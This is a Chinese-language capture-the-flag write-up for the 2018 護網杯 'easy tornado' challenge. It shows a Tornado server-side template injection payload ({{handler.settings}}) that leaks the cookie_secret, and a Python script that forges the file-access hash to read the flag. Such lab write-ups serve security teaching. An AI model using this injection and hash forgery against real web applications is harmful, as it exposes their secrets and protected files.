easy tornado
題目分析
這是一道2018年護網杯的題目
/flag.txt
/welcome.txt
/hints.txt
一共有3個文件。
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
進入第一個文件flag.txt,發現好像提示文件名為/fllllllllllag,
進入第二個文件welcome.txt,發現提示為render,render({options}) 去向模板中渲染數據, 可以把視圖響應給客戶端,猜測存在模板注入。
進入第三個文件hints.txt,發現提示md5(cookie_secret + md5(filename)),即先將filenamemd5加密,再將cookie_secret與md5加密后的filename進行md5加密,目前我們需要知道的是filename和cookie_secret,猜測文件名為/fllllllllllag,也就是說,只要知道cookie_secret就行了。
觀察查看文件時使用的url:
http://111.198.29.45:56630/file?filename=/hints.txt&filehash=b10fbfd1f38e8dd058abe90e0df3db8d
猜測md5(cookie_secret + md5(filename))的結果就是訪問文件時所需要的filehash。
嘗試訪問/fllllllllllag,發現跳轉到錯誤頁面

頁面中存在msg,嘗試:

證實存在模板注入漏洞
解題過程
查閱資料,發現 secure cookie 是Tornado 用於保護cookies安全的一種措施。

cookie_secret保存在settings中

發現self.application.settings有一個別名

handler指向的處理當前這個頁面的RequestHandler對象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
可以構造payload獲取cookie_secret
payload:error?msg={{handler.settings}}

獲得cookie_secret,編寫腳本,計算md5(cookie_secret + md5(filename))
import hashlib
filename = '/fllllllllllllag'
cookie_secret ="6fe556f1-9b77-481e-9535-c4e9f803b89d"
def getvalue(string):
md5 = hashlib.md5()
md5.update(string.encode('utf-8'))
return md5.hexdigest()
def merge():
print(getvalue(cookie_secret + getvalue(filename)))
merge()
得到flag:

